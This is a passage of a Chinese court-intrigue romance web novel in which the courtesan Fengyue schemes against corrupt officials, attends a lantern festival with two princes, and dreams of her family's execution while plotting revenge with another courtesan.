脸上有些犹豫,风月揉着帕子道:“这些事,本不是小女子该参合的,但大人今日对小女子有恩,有些话,小女子便偷偷同大人说说。”
“好!”凑过头来,冷严紧张地看着她:“你说。”
脸上满是小心翼翼,风月道:“家父说,太子公正,既然看到了赵都尉的**之案,就决计不会善罢甘休。但朝中求情之声甚多,不少人说赵都尉在位多年,没有功劳也有苦劳,妄图保他。如此,殿下定然会连保他的人一并查,兴许还能牵出点别的事情来。”
“而就在昨日,有不知名姓的人送了信件到廷尉衙门,家父一看就说,没想到太仆大人一表人才,背后也做些见不得人的事情。”
脸色瞬间发白,冷严皱眉,慌张地喊了一声:“不可能!”
他做的事情,怎么可能就被发现了?明明掩藏得很好啊!
不过,赵麟做事也一向谨慎,可还是被抓出来了。这黑暗之中,是不是有一双眼睛,在盯着他们的一举一动?
但赵麟是易将军要保的人,他总不能袖手旁观吧?
“大人也不用太担心。”风月笑道:“听家父说,告发护城军统领周大人的信件更多,要审问,也是先从周大人开始,您应该还在后头。”
听着她对这么多人的官职和姓脱口而出,冷严就一点也没怀疑她的身份。想了半晌,问了一句:“周大人可是护城军统领啊,赵麟的案子证据确凿,到现在都没定案,你父亲打算怎么审周大人?”
“这个小女子不知。”风月摇头:“不过听说证据已经送去周大人府上,希望他自己认罪了,就是不知结果如何。”
没个结果,那他就不着急了。松了口气,冷严笑道:“多谢赵小姐,您能为我这么担心,也是我的福气。”
“大人多礼了。”风月
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颔首:“时候不早,我也该回府了。”
“我送你。”冷严连忙道:“顺便去拜访一下赵大人。”
“不必不必。”心里一跳,风月干笑:“家父最近忙碌,不怎么接待客人。小女子也要顾念名节,大人这么送回去,有些不妥。”
就是不妥才要送啊!冷严笑呵呵地就拉了她的手腕:“小姐不用顾虑的,我的马车就在河边,去安居街很快的。”
不是快不快的问题,是她压根就不住安居街的问题!风月咬牙,心想难不成自己等会还当真去敲赵廷尉府上的门?她说不定连安居街宅院的界限都进不去啊!有守卫的!
可是看这情况,压根也推辞不了,怎么办?怎么办!
人群熙攘,冷严拉着身后的“赵小姐”走得可高兴了,冷不防却有人从旁边撞过来,直接撞在他手上,疼得他松了手。
“你走路不长眼睛啊!”旁边的随从上前就朝那人吼了一声。
殷戈止垂眸,目光平静地看着那随从。
冷严回头,就看见这张冰山一样的脸,当下就傻眼了,连忙一把推开那随从,笑呵呵地行礼:“殷殿下,这可真是巧了,您也在看花灯啊哈哈哈。”
风月背后的寒毛都立起来了,瞪眼看着面前这人,连连使眼色。
大爷,行行好啊,别在这个时候坏她的事儿啊!这冷严可是他给的名单上要吓唬的人,她已经吓唬了一半了,不能功亏一篑!
殷戈止神色晦暗不明,盯着冷严看了许久,才道:“冷大人有礼。”
然后转头看向她道:“赵小姐也在。”
猛地一震,风月惊讶地看了他一眼。
他怎么知道她装赵家小姐呢?难不成方才一直在旁边跟着?骗子!不是走了吗!把她当猴戏看呢!
气愤不已地磨牙,风月低头,朝他行礼:“殷殿下。”
看了看他俩,冷严哈哈大笑:“原来殿下也认识赵小姐啊,真是好巧。”
“嗯,正好有事想跟赵小姐聊聊。”殷戈止一本正经地道:“赵小姐可否借一步说话?”
冷严也是识趣的人,一看这场面,当即就行礼:“那在下就先走一步了。”
“大人慢走。”风月笑着屈膝,看着他一步三回头地往河边去,才转过头来冲面前的人傻笑:“嘿嘿!”
目光平静地看着她,殷戈止道:“赵小姐本事了得。”
莫名地觉得背后发凉,风月左右看看,牵了他的手就往另一边的小桥下头跑,跑到人少的地方,才小声道:“奴家这不是为了您,肝脑涂地么?”
桥下流水潺潺,对面有不少姑娘在放花灯,这一处因着岸边石头嶙峋,没什么人。殷戈止看了一眼她手里七零八落的灯,顺手在河里捞了一个好的递给她。
“殿下。”风月吓得眼泪汪汪的:“奴家不要花灯了。”
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第66章 简单点,要花灯的方式简单点
瞧她这表情,殷戈止都忍不住反省了一下自己,是不是表情太凶恶了把人吓着了?分明是想夸奖她方才实在聪明,还知道用周臻善的事情给冷严下套,结果怎么的,表扬都还没给出去,就先把人弄哭了?
低头看了一眼那忽明忽暗的花灯,殷戈止缓缓开口:“去给你重新买一个吧,那个坏了。”
嗯?风月有点不敢置信,抬头看了看面前这人。
今儿太阳打西边升起来的?这人竟然这么温柔地跟她说话?
还没反应过来,手就被人牵着了。跟方才冷严那种抓她手腕的粗鲁行为不同,殷大皇子牵起姑娘的小手来,那叫一个慰藉人心,将她手里的花灯扔在河里,便引着她往桥上走。
夏日将至,薄纱单衣的姑娘们在桥上散发着阵阵芳香,本是被一群士子围着看得双颊飞红的,谁曾想殷戈止一上去,含羞带怯的姑娘们瞬间来了力道,一帮推开碍事的路人,围着殷戈止就瞧。
“好生英武的公子啊!不知可有家室了?”
“这位公子才称得上是玉质金相,与旁的俗物不同。”
“公子,公子?”
仿佛被八百子鸭子围着叫唤,殷戈止显然耐心不够,一把就将后头的“家室”扯到跟前,指了指。
风月反应多快啊,勾着他脖子就往他下巴上亲了一口,然后耀武扬威地看着四周的姑娘,大有“想抢男人就来打架啊”的气势!
扼腕叹息之声顿起,姑娘们望而止步,畏惧地看了一眼这母老虎,终于是给殷戈止让出了一条路。
“殿下实在很得姑娘们喜欢。”风月忍不住感慨:“就算是生在寻常百姓家,有这一张脸,怕是也能荣登庙堂。”
斜她一眼,殷戈止道:“多谢夸奖。”
还真是半点不谦虚!风月摇头,正想说您看看您这脸是不是跟天上的月亮一样大呢,就看见桥对面也有姑娘围成了圈儿。
“公子贵姓啊?”
“公子好生俊俏,不知可有家室?有也没关系,不知可纳妾室?”
这熟悉的搭讪之言,听得风月耳朵动了动,下意识地就踮脚看过去。
桥头之处,叶御卿护着易掌珠,笑得温文尔雅:“在下无家室,但有佳人在侧,借过。”
这一笑,引得姑娘们纷纷尖叫,花灯会顿时都热闹了不少。风月忍不住感叹,用手肘捅了捅旁边这人的胳膊:“您瞧,男人温柔点,不是更得女人喜欢么?”
看她一眼,殷戈止道:“你喜欢温柔的?”
“奴家喜不喜欢有什么要紧,看看易大小姐的表情就知道了。”风月道:“在您跟前,她总是一脸委屈和不高兴,可瞧瞧在太子殿下身边,她笑得可欢了。”
“是么?”面无表情地哼了一声,殷戈止抬脚就朝那头走。
易掌珠正笑着呢,不经意一侧头就看见了殷戈止,当即便皱眉,喊了一声:“殷哥哥?你怎么在这儿?”
殷戈止没吭声,回头看了一眼桥上。
易掌珠顺着看过去,就见风月冲她笑得百花齐放的:“易小姐,真巧。”
脸色微变,易掌珠很是不悦,转头看着殷戈止道:“殷哥哥想来看花灯会,与咱们一道不是很好?做什么喊她来陪着?”
殷戈止抬眼,朝叶御卿拱手,而后道:“有殿下在此,在下就先告辞了。”
“哎!”连忙伸手拉住她,易掌珠咬唇,看了叶御卿一眼,小声道:“太子哥哥都知道陪我,你怎么就不知道?前头还有不少有趣的东西呢,你当真就走了?”
四周的人听得这叫一个羡慕啊,今儿晚上就瞧着这么两个美男子了,结果都是这姑娘裙下的?
叶御卿微微不悦,脸上虽然还是带着笑意,但风月看得出来,易掌珠这行为明显很不给他面子。但他习惯笑了,稍微不长脑子的,就当真会以为他脾气好,能包容。
不长脑子的易小姐就在他面前继续留殷戈止:“太子哥哥走得也累了,剩下的东西,你陪我去看吧?”
回头看了风月一眼,殷戈止眼里有那么点炫耀的意思。
更喜欢温柔的?嗯?
幼不幼稚啊?啊!风月磨牙,面儿上还得朝人家露出一个赞叹的表情,心想这殷大皇子一定是打仗打傻了,这点小事,跟她争什么争啊,她就觉得女人该喜欢温柔的男人,怎么了!
叶御卿摇着扇子,笑得有那么点落寞,风月想着,反正同是天涯沦落人,逛个灯会成不成?
于是看着殷戈止跟易掌珠抬脚走了,她便蹦蹦跳跳地跑去叶御卿身边,笑眯眯地道:“公子,买花灯吗?”
看她一眼,叶御卿问:“你卖花灯?”
“不。”伸手指了指那边卖花灯的铺子,风月道:“奴家是想说,您要是买花灯的话,替奴家多买一个呗?”
忍不住失笑,叶御卿道:“你可真是……这里的花灯,不都是要男子主动给女子的吗?哪有人张口要的?”
眨眨眼,风月伸手指了指自己。
哪有人张口要?我啊!
眼里的积郁顿时散开,叶御卿笑得眼里亮晶晶的,带着她就往花灯铺子走,一边走一边道:“你可真是个宝贝。”
“过奖过奖。”
易掌珠正在问殷戈止为什么总跟那妓子搅合呢,一回头鼻子差点气歪了:“太子哥哥!”
四周嘈杂,她这点声音自然传不过去,只叫得旁边的殷戈止回头看了一眼,眼神冷漠。
“殷哥哥,你们都是怎么了!”易掌珠恼了,跺脚道:“看人的眼光什么时候变得这么差了?风月姑娘长得是不错,可一点本事也没有,跟个花瓶似的,你们喜欢她什么?这样捧着带着的?”
收回目光,殷戈止看了易掌珠一眼,转头道:“女人能长得好看,也是一种本事。”
被他这话一噎,易掌珠涨红了脸,看着他问:“殷哥哥是觉得珠儿没有风月姑娘长得好看?”
“我没有这样说。”
“那你是什么意思?”眼眶都红了,易掌珠道:“这话说出来,不就是这个意思么?指责珠儿心胸小,见不得人家比珠儿好看?”
殷戈止:“……”
他真的只是说了一
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句实话,为什么要理解出这么多的意思来?
有些头疼,他继续往前走,看着四处的花灯,不再开口。
女人小性子上来的时候,不开口就是大罪过!易掌珠站在原地,看着前头那人的背影,直接就哭了:“你一点也不关心我!”
四周的人纷纷看了过来,殷戈止停了步子,很是头疼地转身看向她:“要如何关心?”
抬头看了一眼叶御卿和风月那边,叶御卿正拿了一盏花灯给她,风月笑得甜美万分,接了花灯就朝他行了福礼。
人家怎么就那么郎情妾意的?凭什么她和殷戈止就不行?
抿了抿唇,易掌珠红着眼睛道:“你看,太子哥哥给风月送花灯了。”
头都懒得转,殷戈止淡淡地道:“嗯。”
嗯?!然后呢?不该也给她送一盏吗?就嗯一声就完了?易掌珠瞪眼看着他,又指了指旁边:“那里有卖花灯的,咱们不如去看看?”
顺着她指的方向看了一眼,殷戈止道:“人太多,你想买的话就去吧,我在这里等你。”
易掌珠:“……”
桥头边,叶御卿正笑风月一句“人面灯花相映红”呢,就听得易掌珠带着哭腔的声音在后头响起:“太子哥哥,我不要同他逛了!”
风月抬头,就见易大小姐哭得梨花带雨的,万分委屈地道:“咱们走吧!”
叶御卿挑眉,看了一眼远处负手而立的殷戈止,忍不住小声对风月道:“殷殿下怎么这般厉害?珠儿很难得气成这样。”
风月拿花灯挡着脸,小声回他:“以奴家之见,殷殿下虽不温柔,但对易小姐的态度绝对不差。所以,她多半是自个儿气着了自个儿。”
易掌珠正生气呢,却见面前这两人交头接耳的,说的话她都听不见,当下更气,看了太子一眼,跺脚就道:“罢了!这里也没什么好看,我自己回去了!”
“珠儿!”姑奶奶生起气来不好对付,叶御卿连忙拦着她,赔罪拱手:“是我错了,要逛就继续逛吧,我陪着你。”
易掌珠委屈得很,看他一眼,又看看后头的花灯铺子。
叶御卿就比殷戈止懂女人多了,当下便让人再买一盏花灯出来,递到她手里:“走吧?”
气消了些,易掌珠抿唇,看了看旁边的风月,擦了眼泪道:“不好意思啊,你去继续陪着殷哥哥吧,我同太子哥哥先走了。”
有身份就是好啊,在两个皇子之间无缝切换,都不用考虑一下旁人感受的!
不过幸好风月也没什么感受,见她拉着太子走了,就捧着花灯等殷戈止走过来。
殷戈止漫步过来,看了一眼她手里的花灯,道:“挺好看的啊。”
“啊?”眨眨眼,认真感受了一下这人平静语气下的阴阳怪气,风月立马将手里的灯往旁边跑跳的小孩子手里一塞,然后仰着脸朝殷戈止笑:“这盏不是很好看,公子再给奴家买一盏呗?”
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第67章 我会杀了你
对付殷戈止这种闷得要命的男人,跟他绕弯子没用,就得不要脸地说出来,越不要脸他越觉得爽快。
这不,话一说完,殷大皇子就抬手,亲自给她取了店铺门口挂着的花灯下来,顺手给了碎银,然后斜睨着她道:“赏你的。”
“谢公子赏!”风月屈膝,看着手里的花灯,笑眯眯地凑在他旁边道:“赏都赏了,公子不如陪奴家去河边放了它?有始有终嘛。”
看了一眼河边,殷戈止皱眉:“人太多了。”
“那咱们去人少的地方啊。”风月踮脚,扫了一眼这护城河两岸,指了指远处灯光稀薄些的地方:“那里就可以。”
女人真是麻烦!殷戈止很不耐烦,抬眼扫了扫这护城河,还是陪她走过去。
就在他们挪动的时候,河岸边的人更多,姑娘们排着队放灯呢,前头的人磨磨唧唧的,招了后头的人骂。有不小心的,还打湿了裙角,吵吵嚷嚷的,很是让人不愉快。
殷戈止脸都黑了:“这灯,必须放?”
风月眨眼,一本正经地点头:“是啊,祈福嘛,不放会不吉利的!”
站在桥上,殷戈止想了片刻,搂着风月纵身一跃,直直地往河水里坠去!
衣袂飘飘,河岸两边都是一阵惊呼,风月也吓了一跳,一手抱着花灯,另一只手牢牢地抓着这人的腰带,瞪大眼看着他。
殉情啊?她还不想死呢,再说了,就算是死,也一定要离他远远的啊!
眼瞧着接近水面,殷戈止反手就勾了桥栏上垂下来的红绸,缓缓止住了下落之势。风月只觉得一股子力一扯,接着她就堪堪悬在了水面上。
“……公子啊。”咽了口唾沫,她抖着声音道:“您早说要这样放花灯,奴家真的可以选择不放的。”
“不是要祈福?”殷戈止冷声道:“快点,点灯。”
水面上不少燃着的花灯在飘摇,深深地看了他一眼,风月松开了抓着他腰带的手,捏了花灯里的蜡烛出来去旁边的灯上借火,然后摆回去,连着花灯一起,轻轻放在了水面上。
一阵风吹过来,河上星火点点,月亮从清澈的水里探头,眨眼看着桥上那一对吊着的人。
周围的人都惊呆了,好半晌才找回声音,七嘴八舌地议论起来。有热心肠的,连忙想去拉绳子把两人拉上来。
风月咯咯直笑,眼里满是烛光,抬头看着殷戈止道:“殿下,咱们这很像猴子捞月。”
殷戈止给了她一个冷漠的眼神:“你是说我不该搂着你的腰,该把你倒挂起来,捏着你的脚踝?”
“别别别!”她立马摇头:“奴家就是打了个不是很像的比喻,您别照着来啊!”
哂了一声,殷戈止一扯那红绸,借力直接飞上桥面,身姿潇洒,衣袂飞扬。
落地的感觉分外踏实,风月想,今晚上算是赚着了,毕竟这位爷平时不做这么无聊的事情的,肯陪她放个花灯,就算方式可怕了点,那也该感恩戴德。
于是转头就朝他拜了拜:“多谢公子。”
对她这样的态度,殷戈止觉得很满意:“回去吧。”
“嗯!”
一前一后地下桥,顶着围观百姓的炙热目光,两人都心情不错地往使臣府走。
易掌珠心情很差,站在河边,手里还拿着花灯,眼泪又要掉下来了。
为什么啊?她想不明白,她哪里比这妓子差了不成?为什么殷哥哥能给她买花灯,陪她放花灯,却连陪她去花灯铺子都不行?
“太子哥哥。”易掌珠转头,委屈地问叶御卿:“殷哥哥是不是不喜欢我了?”
沉默地看她一眼,叶御卿依旧是笑着道:“殷殿下那般的人,不适合你。”
“为什么不适合?”易掌珠皱眉。
叶御卿道:“殷殿下性子偏冷,不多话,也不会主动哄你开心,给你台阶下。你性子又傲,有什么话也不愿意直说,跟他在一起,自然会不高兴。”
不赞同地看着他,易掌珠道:“你们男子若是喜欢一个女人,不就该变得温柔如水,处处体贴吗?等他变成那样,我跟他在一起也未必不会高兴。”
叶御卿闭眼。
跟易掌珠讲道理真的是很费心神的一件事,他还是想回宫去跟母后请安。
大概是今天经历了太多的事情,风月累得刚在主院坐下就睡着了,殷戈止瞧着,很是嫌弃:“你可真没戒心。”
没戒心的人睡得四平八稳,灵殊小心翼翼地看他一眼,然后想叫醒自家主子,把她扶回客院去。谁曾想,刚伸了个爪子出来,就被观止连人带手一起捂着拖了出去。
“哎哎,做什么?”气呼呼地看着观止,灵殊跺脚:“我带我家主子回去歇息啊!”
“不用了。”观止笑得诡异:“我能感觉到主子心情极好,你家姑娘睡在主院也没什么大碍。”
哪里感觉出来的?灵殊很茫然:“我怎么感觉不到?”
“乖,你还小。”摸了摸她的脑袋,观止笑眯眯地道:“等你长大就好了。”
有道理!灵殊点头,决定自己回去客院歇着。
使臣府所有的石灯都亮着,院子外头看着都是一片暖橙色,院子里花花草草长势喜人,饶是被月光照着,也没有半点凄凉之感。
观止感慨了一下,瞧了瞧主屋,打了水放在外头,便也去歇下了。
风月做了个梦,她梦见自己在漆黑的房间里,头顶上是红纱帐,有微微的暗光。
旁边坐着的人在低低地跟她说话,他说:“等下一场仗打完,我跟父皇提一提立妃之事吧。”
“立妃?”风月没开口,却听得见自己伪装出来的声音,怪里怪气地问他:“殿下欲立何人为妃?”
“从前觉得,女子要温良恭顺,知礼仪,安后院。”他道:“现在觉得……活泼些的,也可以。”
活泼些的?风月想,她也很活泼啊,只可惜当不了他的妃子了,太后指了她跟镇国侯家世子的婚事,再过半年就得完婚,她反抗也没用。也就是因为这样,才躺在了这里。
封明那混小子想娶她,她先给他戴个绿帽子吧!到时候婚事吹了,她就不用被关在院子里绣花啦哈哈哈!
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“你笑什么?”旁边的声音陡然变得紧绷:“我说的又不是你。”
“嗯?”她回神,伸手就搂着这人的脖子,吧唧一口亲在他的唇上,捏着嗓子道:“没什么,我只是很喜欢殿下罢了。”
屋子里安静下来,旁边的人好像瞬间消失了,接着屋子里灯光大亮,亮得她惊慌地闭上了眼。
“喜欢我?”殷戈止面无表情地看着她,眼里满满的都是嫌弃:“你这样的人,拿什么喜欢我?”
心口一窒,风月怔愣地看着他。
他穿了皇子的绣龙锦袍,站在监斩台上,居高临下地看着她:“关氏通敌叛国,罪连九族,今日斩首示众,以儆效尤!”
关清穆昂首挺胸地跪在她旁边,一身风华不减,一字一句朗声道:“谢!主!隆!恩!”
刀起,头落。鲜血飞洒在这肮脏的刑场,扑了人满脸满身。
“二哥!”喉咙里压着这一声喊,却怎么也喊不出来,只觉得眼前变得一片血红。
关清穆倒下了,菱儿也倒在了他旁边,就算没了脑袋,两人的身子都还靠在一起,血流出来,融成了一处。她张大嘴想呼吸,却被铺天盖地的血腥味儿呛得咳嗽。
刽子手的刀比战场上的人刀还快啊,跌跌撞撞地起身想护着左边的四妹,右边的二娘头就落了地,想护着前头关家最小的小少爷,后头的奶娘便又闭上了眼。她在这刑场上奔走,却什么也挡不住,痛得全身发抖!
老头子呢?那满嘴说着忠君报国的老头子呢?家里人都要**啊,他去哪里了?
怔愣了半晌,风月想起来了,关苍海畏罪自尽于天牢,念其功勋,圣上准其全尸入殓。
哈哈哈……全尸入殓,谢主隆恩,谢主隆恩啊!
仰天长笑,笑得眼睛充血,她抬头看着监刑台上站着的人,手捏得发白,终于是拔了旁边护卫的刀剑,猛地朝他心口捅过去!
“风月!”站在那边的人皱眉喊了她一声。
四周场景涣散,浑身大震,风月睁开了眼,眼里依旧血红一片,恨意凌天。
被她这眼神看得一惊,殷戈止莫名其妙地看着她:“做噩梦了?”
噩梦?眼里迷茫了好一会儿,风月看清了四周,慢慢坐了起来,缓了许久才闭眼笑道:“是啊,奴家做了好可怕的梦啊。”
“梦见什么了?”殷戈止皱眉。
屋子里就他们两个人,再没了别的气息,有那么一瞬间,风月很想拔了头上的钗子,直接捅进他的心口!
然而,低头看了看自己还未痊愈的手,她睁眼,笑得活泼可爱地答他:“梦见家里人全死啦!殿下从天而降,救奴家于水火,带奴家报那不共戴天之仇!”
眼神深邃地看着她,殷戈止道:“会的。”
“那奴家就等着。”转头看了一眼外头已经大亮的天色,风月道:“哎呀,该给您做早膳了,奴家先告退。”
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第68章 出来坐坐
平静地看着她出去,殷戈止沉默了许久,喊了一声:“观止。”
应声而来,观止站在床边看着他:“主子有何吩咐?”
“这个月的消息可到了?”
微微一顿,观止叹了口气:“到了,不是好消息。”
殷戈止在找一个旧人,每个月都会这么问上一遍,三年了,他还在问,观止也依旧还是摇头。
又看了门外一眼,殷戈止叹息:“罢了,准备用早膳吧。”
“是。”
风月的早膳做得很利索,没一会儿就端上来了,脸上也重新挂上盈盈的笑意,仿佛刚醒时那凶狠的目光只是殷戈止的错觉。
“有好消息。”拿起筷子,殷戈止慢条斯理地说了一句。
要是别人这样说话说一半,风月肯定是会提起椅子就砸过去的!有好消息不会直接说啊?停顿干嘛?等人鼓掌啊?
然而,这话是殷大殿下说的,她一笑,伸手就鼓了鼓掌:“哇,什么好消息?”
殷戈止道:“周臻善失踪的事情已经传开了。”
眼眸一亮,风月笑了:“那冷大人也该闭嘴了。”
她昨儿吓唬冷严的时候就知道,就算他半信半疑尚在犹豫,只要听见周臻善失踪的消息,必定就不会再管赵麟之事。毕竟做贼心虚,别的贼都获罪的获罪,失踪的失踪,剩下的一个贼,还敢去营救同伙?
冷严一闭嘴,太子殿下再使点手段,她马上就能安安全全地出去晃悠了,也能回梦回楼了!
“除掉赵麟,护城军统领和都尉都换人,太子可以高兴半个月。”殷戈止道:“你也可以暂时休息一段时间。”
“好嘞!”兴高采烈地应下,风月拿起筷子就道:“正好房间里养着的草也该浇水了,等消息下来,奴家就回去。”
正在夹菜的手一顿,殷戈止侧头看她:“你倒是自觉。”
“做咱们这行的,多多少少得有点眼力劲儿啊。”骄傲地抬了抬下巴,她道:“公子是喜欢清净之人,奴家也不能总是打扰。”
她也知道自己很吵?殷戈止抿唇,点了点头。
院子里花开得灿烂,风月用完膳就跑来跑去的,帮着观止修剪了花枝,还清扫了院子。
殷戈止冷眼旁观,阴阳怪气地道:“扫那么干净做什么?又不是你住。”
被这话酸得打了个寒战,风月提着扫帚就蹦蹦跳跳到他面前,笑着问:“您想奴家留下来?”
“谁想你留?”
“那奴家就不留。”认真地看着他,风月一本正经地道:“您是上,奴家是下,您说什么奴家就听什么,所以公子,想要奴家留下来的时候,就开口直说,不想要奴家在眼前晃悠,也可以开口直说,奴家都能听您的。”
皱眉看着她,殷戈止抱着胳膊靠在柱子边,没吭声。
想了想,风月又道:“还有个忙可能需要殿下相帮。”
“说。”
“护城军里,有个叫张勋的人。以前是攻魏前锋营的百夫长,平昌之战后因罪退回不阴城,做了护城军的教头。”风月道:“这个人不常出门,整日酗酒,奴家想请他去梦回楼坐坐,但人微言轻,不知殿下可否……”
“他与你有仇?”殷戈止问。
掩着唇呵呵呵地笑了一阵,风月甩了帕子媚眼直抛:“您怎么把奴家想得那般可怕呢?没有仇就不能请出来坐坐了吗?”
眼神幽深地看着她,殷戈止认真地点了点头。
指名道姓地要请人出来坐坐,不是有仇,谁信呢?
“好吧。”放弃伪装了,风月认真地道:“是有点仇,所以打算问候一下,殿下能看在奴家办事还算妥帖的份上,帮个忙么?”
“可以。”轻描淡写地应下,他甚至连什么仇都没问,转身就进屋去了。
风月想了想,觉得这人应该不会敷衍她,于是又安安心心地去接着打扫。
观止在打扫客房,见风月进来,便说了一句:“这院子自从您来了,就干净了不少。”
风月笑道:“我刚来的时候,这儿也挺干净的,还有别人住吧?”
“没有啊。”摇摇头,观止道:“我们住这儿一年了,客院从来没进过人。每次洒扫,这儿我都是只将表面的灰尘擦了,免得万一有客人,看着也太失礼了。”
脑子里有光闪过去,跟上次的一样,只是这次没人打扰,风月一把就抓住了那灵光,轻轻吸了口气。
“姑娘怎么了?”观止问。
“没……没事。”揉了揉头,风月笑道:“大概是有点累了,我先去歇会儿。”
不疑有他,观止转身就继续擦桌子。风月抿唇,扶着脑袋出门,走在庭院里慢慢地想。
上次派人去将军府找东西,越过了重重的机关,翻遍了整个书房,结果是什么也没找到,她一直觉得是有别的暗格没有被发现。但现在想想,也许易国如根本没将重要的东西放在书房。设置那么多机关,也不过是虚张声势而已。
有问题的是客房。
将军府主院的客房说是从来没人住,所以满是灰尘。可是,使臣府就观止一个下人,都知道打扫的时候顺便把客房的灰尘扫了。将军府奴仆成群,难道就没有人想到要收拾客房吗?就算不给人住,打开门一阵灰尘扑过来,也不符合易国如的性格啊,宅子都修得那么完美,客房里的灰尘不知道扫?
唯一的可能,就是那房间里放了重要的东西,易国如吩咐过不用打扫,所以才会那么脏。
有些激动,风月捏紧了拳头,定了定心神之后,才继续若无其事地扫庭院。
一击不中,将军府已经加强了戒备,更换了机关,想再次得手,得继续等。
深吸一口气,风月抬头看了看天。
不阴城很快来了一场轰轰烈烈的雷雨,大雨之后,天气放晴,夏天就到了。
民间议论护城军都尉**之事,已经是沸沸扬扬,太子趁势上禀皇上定罪落案,朝中求情之声渐微。六月初,赵麟被判侯斩,所有家产充公,子孙三代流放出城,不得回都。
听见消息的风月原地转了三个圈圈,吧唧一口亲在殷戈止的脸上!
嫌弃地擦了擦她的口水,殷戈止道:“你可以回梦回楼了。”
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正想谢个恩啥的,这人却又补上一句:“不过好生待着,别想接客。”
“为啥?”风月一愣。
嗤了一声,殷戈止点了点她的脑门:“记性不好?你名义上已经被徐怀祖赎身了,不是吗?”
风月:“……”什么叫搬起石头砸自己的脚,她当初为了赖在这使臣府,所以才那么说的,谁曾想还就不能挂牌了?
鼓了鼓嘴,她道:“好吧,不做明娼,成个暗盗也不错。”
“暗盗?”看她一眼,殷戈止问:“想偷什么?”
做了个猛虎扑食的动作,风月举着爪子龇牙咧嘴地道:“偷人性命!”
眼里有一丝笑意闪过,殷戈止伸手,拍了拍她的脑袋:“去吧,动作麻利点,不要让人察觉了。”
“嗷呜”一声,风月扭头就往外跑。
夏天的姑娘们穿得更少,薄纱下肌肤若隐若现,挥着小手绢儿的姿态也更迷人,饶是白天,整条招摇街都荡漾着一股子快活味儿。
风月带着灵殊爬进狗洞的时候,抬眼就看见了正在后院里快活的断弦。
由于这样的场景不是第一回撞见,风月显得格外镇定,伸手就捂住了后头灵殊的眼睛。
断弦显然不怎么镇定,惊叫一声就拢了衣裳,轻轻推了面前的恩客一把,然后扭曲了脸瞪着她:“你不能走大门了是不是?”
抱歉地笑了笑,风月拉着灵殊就跑!灵殊一边跑还一边问:“大白天的,断弦姑娘在后院做什么啊?”
“小孩子不该问的别问!”弹了弹她的小脑袋,风月溜回自己的房间坐下,心情甚好地给花盆里的野草浇了浇水。
没一会儿,门就被人踹开了,熟悉万分的声音阴阳怪气地响起:“哟,这不是风月姑娘吗?听闻被有钱人家赎了身,怎么又灰溜溜地回来啦?”
勾唇一笑,风月道:“我要是不回来,你挤兑谁去啊?”
瞪眼看了看她,断弦冷哼:“谁稀罕挤兑你?你跟何愁不在,我的生意可好了,棺材本都有了。”
“是吗?那我就放心了。”风月道:“何愁马上也回来了,你有了棺材本的话,以后少赚点也没关系。”
什么?!断弦脸绿了:“你回来就够让人糟心的了,她还回来干什么?怎么?这年头被赎出去的妓子,都要被送回来的?”
伸手放了银子在灵殊手里,打发她去买绿豆糕,风月笑眯眯地将断弦拉进屋子,歪着脑袋问她:“还想报仇吗?”
一听这话,断弦愣了愣,有些愕然地看她一眼:“你怎么知道……”
“不用管我怎么知道,叫我一声姑奶奶,我可以帮你把仇人请来喝喝酒,你觉得如何?”抬了抬下巴,风月很是欠揍地问。
正经了神色,断弦抿唇,退后一步,直接朝她跪了下来,膝盖磕在地毯上,沉闷的一声响!
不笑了,风月蹲下来看着她,低声道:“明日黄昏,我陪你去会会他,如何?”
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第69章 别让他死太痛快
眼里有火花迸发出来,像黑夜里划过的光,亮得人不敢直视。
断弦狂喜地看着她,身子微微发抖,嘴巴张张合合好几次,才终于吐出声音来:“当真?”
“当真。”点点头,风月平视她,道:“只是,人来了,你也得听我的,不可轻举妄动。”
不轻举妄动?脸色一僵,接着五官微微扭曲,断弦恼恨地道:“他在我面前,我不管用什么法子,都一定会杀了他!你叫我别妄动?”
“我就知道你会这样,才让你听我的。”轻轻叹了口气,风月道:“杀一个畜生,然后把自己的性命赔进去,值得吗?”
“值得啊!要不是为了杀他,我为什么还活着?!”眼里慢慢充血,断弦声音嘶哑起来,像苟延残喘到最后的老人,浑身上下只靠一口气撑着。
伸手捏了捏她的肩膀,风月道:“你杀的话,他只会没痛苦地死去,算什么惩罚?不如交给我,你这条命,还得留着给你妹妹年年祭拜,不然到了地下,她都得饿肚子,多不好啊。”
身子一顿,断弦愕然地抬头看着她:“你到底是谁?怎么会知道我妹妹的事情?”
她的故事,只在进风月楼的时候告诉过金妈妈。金妈妈说过,除了风月楼的东家,不会有第四个人知道此事。
“我是谁重要吗?重要的难道不是你大仇将报?”朝她抛了个媚眼,风月道:“你也得感谢何愁,要不是她,赵麟和周臻善倒得不会那么顺利,咱们也不能这么轻松地动李勋,还不会有太严重的后果。”
瞳孔微缩,断弦震惊地抬头看着她,眼里思绪流转,片刻之后恍然大悟,却是更加震惊:“您……”
“入梦回楼之时,金妈妈答应过你们,有仇必报。但你们也答应过她,报仇之后从良,过安生日子,不轻贱性命。”风月笑得可爱,歪着脑袋道:“说到要做到啊。”
情绪翻涌,百味陈杂,断弦缓了好一会儿,还是没忍住,扑过来抱着风月嚎啕大哭!
“哎哎,你鼻涕!”
“东……”
“东你奶奶个腿儿,我是风月!以后还得跟你抢生意的那位!”
“我……”
“你行了吧你,哭花了脸跟鬼似的。”嘴上一点没留情地挤兑她,风月跌坐着,手上很温柔地摸了摸她的脑袋。
这一摸,断弦哭得更凶,整个梦回楼都听见了动静。
金妈妈扭着身子就冲上来了,带着微云等人,撞开门就问:“怎么了怎么了?!”
“风月,你欺负断弦了?”
干笑两声,风月朝着门口无奈地摊手:“她大概是太想我了,看我回来,给激动的。”
这也太激动了点啊!金妈妈摇头,扯着嗓子就道:“行啦,有姑娘回门是好事,哭什么哭啊多不吉利,洗洗脸准备晚上接客啊!”
鼻涕眼泪全擦风月身上,断弦深吸一口气,又长长地吐出来:“舒坦了。”
嫌弃地捏着自己的衣裳,风月摇头:“我不舒坦了,我要沐浴!”
扑哧一声笑出来,断弦深深地看她一眼,而后哑声道:“去吧,风月姑娘。”
“好嘞。”拿了换洗衣裳,风月飞一般地冲下了楼。
使臣府。
坐在院子里看了一下午的书,殷戈止心情不是很好,瞧着院子里的花花草草,怎么瞧怎么不顺眼。
“主子?”善解他意的观止道:“您要是不喜欢这些,不如就让人来清理了?”
“不必。”殷戈止道:“让你查的事情查到了?”
“嗯。”观止拱手:“那李勋与风月姑娘没什么渊源,倒是在平昌战役之时,戕害过不少民女,后因为魏国民情汹涌而被迫退回不阴城,只当个守城军的教头。”
